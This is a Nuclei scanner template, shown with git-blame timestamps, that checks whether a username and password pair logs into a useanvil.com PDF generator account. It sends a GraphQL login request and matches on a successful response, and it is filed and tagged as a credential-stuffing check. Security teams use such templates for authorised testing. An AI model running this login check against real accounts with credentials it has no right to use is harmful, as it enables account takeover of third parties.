nuclei-templates/http/credential-stuffing/cloud/avnil-pdf-generator-check.yaml

41 lines
1.2 KiB
YAML
Raw Normal View History

2023-05-08 17:05:04 +00:00
id: avnil-pdf-generator-check
info:
name: useanvil.com Login Check
2023-06-05 08:54:27 +00:00
author: parthmalhotra,pdresearch
2023-05-08 17:05:04 +00:00
severity: critical
description: Checks for a valid avnil pdf generator account.
reference:
- https://owasp.org/www-community/attacks/Credential_stuffing
metadata:
max-request: 1
2023-05-08 17:05:04 +00:00
tags: login-check,avnil-pdf,creds-stuffing
self-contained: true
2023-06-05 09:12:22 +00:00
http:
2023-05-08 17:05:04 +00:00
- raw:
2023-06-05 09:25:30 +00:00
- |
2023-05-08 17:05:04 +00:00
POST https://graphql.useanvil.com/ HTTP/1.1
Host: graphql.useanvil.com
Content-Length: 367
Content-Type: application/json
{"operationName":"LoginMutation","variables":{"email":"{{username}}","password":"{{password}}"},"query":"mutation LoginMutation($email: String, $password: String) {\n login(email: $email, password: $password) {\n eid\n firstName\n lastName\n email\n preferences {\n require2FA\n __typename\n }\n extra\n __typename\n }\n}\n"}
extractors:
- type: dsl
dsl:
- username
- password
2023-06-05 08:54:27 +00:00
2023-05-08 17:05:04 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"email":"'
- '"eid":"'
2023-06-05 08:54:27 +00:00
2023-05-08 17:05:04 +00:00
- type: status
status:
- 200